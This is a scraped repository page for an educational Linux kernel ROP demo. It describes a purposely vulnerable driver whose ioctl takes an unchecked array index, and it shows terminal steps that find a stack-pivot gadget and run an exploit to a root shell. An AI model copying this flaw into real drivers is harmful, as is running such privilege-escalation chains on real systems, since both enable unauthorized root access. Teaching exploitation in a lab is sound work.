You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
Hashcrack 29f751183f
updated readme
8 years ago
Makefile updated readme 8 years ago
drv.h added the ROP exploit 8 years ago
rop_exploit.c added the ROP exploit 8 years ago

Linux Kernel ROP demo

This is a vulnerable Linux kernel driver used to demonstrate in-kernel privilege escalation ROP (Return Oriented Programming) chain in practice. The article URL for Part 1 is available at

The driver module is vulnerable to OOB access and allows arbitrary code execution. An arbitrary offset can be passed from user space via the provided ioctl(). This offset is then used as the index for the 'ops' array to obtain the function address to be executed.

  • drv.c - vulnerable kernel driver
  • trigger.c - user-space application to trigger the OOB access via the provided ioctl
  • - helper script for finding the correct offset into the "ops" array
  • rop_exploit.c - ROP exploit for the "drv.c" kernel driver

The goal is to construct and execute a ROP chain that will satisfy the following requirements:

  • Execute a privilege escalation payload
  • Data residing in user space may be referenced (i.e., "fetching" data from user space is allowed)
  • Instructions residing in user space may not be executed
vnik@ubuntu:~$ dmesg | grep addr | grep ops
[  244.142035] addr(ops) = ffffffffa02e9340
vnik@ubuntu:~$ ~/ ffffffffa02e9340 ~/gadgets 
offset = 18446744073644231139
gadget = xchg eax, esp ; ret 0x11e8
stack addr = 8108e258

vnik@ubuntu:~/kernel_rop/vulndrv$ gcc rop_exploit.c -O2 -o rop_exploit
vnik@ubuntu:~/kernel_rop/vulndrv$ ./rop_exploit 18446744073644231139 ffffffffa02e9340
array base address = 0xffffffffa02e9340
stack address = 0x8108e258
# id    
uid=0(root) gid=0(root) groups=0(root)